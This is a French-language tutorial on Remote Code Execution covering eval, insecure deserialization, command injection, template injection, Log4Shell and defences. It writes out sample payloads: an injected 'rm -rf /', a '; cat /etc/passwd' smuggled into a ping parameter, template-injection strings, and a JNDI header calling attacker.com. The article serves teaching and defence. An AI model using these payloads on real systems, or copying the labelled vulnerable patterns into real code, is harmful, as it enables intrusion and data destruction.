RCE (Remote Code Execution)
- sécurité
- web
- vulnérabilité
La Remote Code Execution est la pire faille possible en sécurité applicative. Elle permet à un attaquant d'exécuter du code arbitraire sur votre serveur — installer un malware, voler des données, rebondir sur le réseau interne, ou tout simplement supprimer tout. C'est l'équivalent de donner les clés de votre datacenter à un inconnu.
Comment ça arrive
Le RCE survient quand une application prend une entrée utilisateur et l'exécute comme du code. Les vecteurs sont nombreux :
eval() et ses variantes
Le coupable le plus évident :
// ⚠️ VULNÉRABLE — ne JAMAIS faire ça
app.post("/api/calculate", (req, res) => {
const { expression } = req.body;
const result = eval(expression); // L'utilisateur contrôle ce qui est exécuté
res.json({ result });
});L'utilisateur envoie 2 + 2 ? Vous obtenez 4. L'utilisateur envoie require('child_process').execSync('rm -rf /') ? Votre serveur est détruit.
Désérialisation non sécurisée
Beaucoup de langages permettent de sérialiser des objets en binaire ou en texte, puis de les reconstruire. Si l'attaquant contrôle les données sérialisées, il peut injecter un objet qui exécute du code lors de sa reconstruction.
# ⚠️ VULNÉRABLE — pickle exécute du code à la désérialisation
import pickle
data = request.get_data()
obj = pickle.loads(data) # RCE si data est malveillantEn Java, la désérialisation de ObjectInputStream a été la source de vulnérabilités majeures (Apache Commons Collections, Log4Shell).
Injection de commandes système
Quand l'application construit une commande shell avec des entrées utilisateur :
// ⚠️ VULNÉRABLE
app.get("/api/ping", (req, res) => {
const host = req.query.host;
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(stdout);
});
});
// L'attaquant envoie : host=google.com; cat /etc/passwd
// Le serveur exécute : ping -c 4 google.com; cat /etc/passwdLe point-virgule sépare deux commandes. Le serveur exécute les deux.
Templates non sécurisés (SSTI)
Les moteurs de templates qui interprètent du code côté serveur :
# ⚠️ VULNÉRABLE — Server-Side Template Injection
from flask import render_template_string
template = request.args.get("name")
return render_template_string(f"Hello {template}")
# L'attaquant envoie : name={{config.items()}}
# Ou pire : name={{''.__class__.__mro__[1].__subclasses__()}}Les conséquences
Une RCE donne à l'attaquant le même niveau d'accès que le processus compromis. En pratique :
- Vol de données — accès à la base de données, aux fichiers, aux variables d'environnement (clés API, secrets)
- Persistance — installation d'une backdoor, création d'un compte utilisateur
- Mouvement latéral — rebond vers d'autres serveurs du réseau interne
- Cryptomining — utilisation des ressources CPU pour miner des cryptomonnaies
- Ransomware — chiffrement des données et demande de rançon
- Destruction — suppression de données, défacement
Log4Shell : l'exemple qui a secoué le monde
En décembre 2021, la faille Log4Shell (CVE-2021-44228) a démontré l'ampleur d'un RCE à grande échelle. La bibliothèque de logging Java Log4j interprétait des expressions JNDI dans les messages de log :
// Un simple header HTTP malveillant
User-Agent: ${jndi:ldap://attacker.com/exploit}
Log4j résolvait cette expression, contactait le serveur de l'attaquant, et exécutait le code renvoyé. Des millions de serveurs étaient vulnérables — de Minecraft à iCloud en passant par Amazon.
Les protections
Ne jamais exécuter d'entrée utilisateur
La règle d'or : jamais d'eval, jamais d'exec avec des données utilisateur. Il n'y a pas d'exception sûre.
// ❌ eval(userInput)
// ❌ exec(`command ${userInput}`)
// ❌ new Function(userInput)
// ❌ pickle.loads(userData)
// ❌ render_template_string(userInput)
// ✅ Utiliser des parsers spécifiques
// Pour les calculs : une bibliothèque de parsing mathématique
// Pour les commandes : des API spécifiques avec des paramètres typés
// Pour la sérialisation : JSON (pas de code exécutable)Valider et assainir toutes les entrées
// Pour les commandes système, utilisez des paramètres
import { execFile } from "child_process";
// ✅ execFile sépare la commande et ses arguments
execFile("ping", ["-c", "4", host], (err, stdout) => {
res.send(stdout);
});
// L'injection "; cat /etc/passwd" est traitée comme un argument, pas une commandePrincipe du moindre privilège
Même si un RCE se produit, limitez les dégâts :
- Exécutez l'application avec un utilisateur non-root aux permissions minimales
- Utilisez des conteneurs avec des capacités restreintes
- Segmentez le réseau — le serveur web ne devrait pas accéder directement à la base de données de production
- Désactivez les fonctionnalités dangereuses (eval, exec) via la configuration du runtime quand c'est possible
Mettre à jour les dépendances
Log4Shell a rappelé une vérité : vos dépendances sont votre surface d'attaque. Maintenez-les à jour, surveillez les CVE, et automatisez les mises à jour de sécurité.
Le RCE est la faille la plus critique qu'un serveur puisse avoir. Elle accorde un contrôle total à l'attaquant. La prévention repose sur un principe simple mais non négociable : ne jamais exécuter de données contrôlées par l'utilisateur, sous aucune forme. Pas d'eval, pas d'exec, pas de désérialisation non sécurisée. Et quand une dépendance est touchée — patcher immédiatement.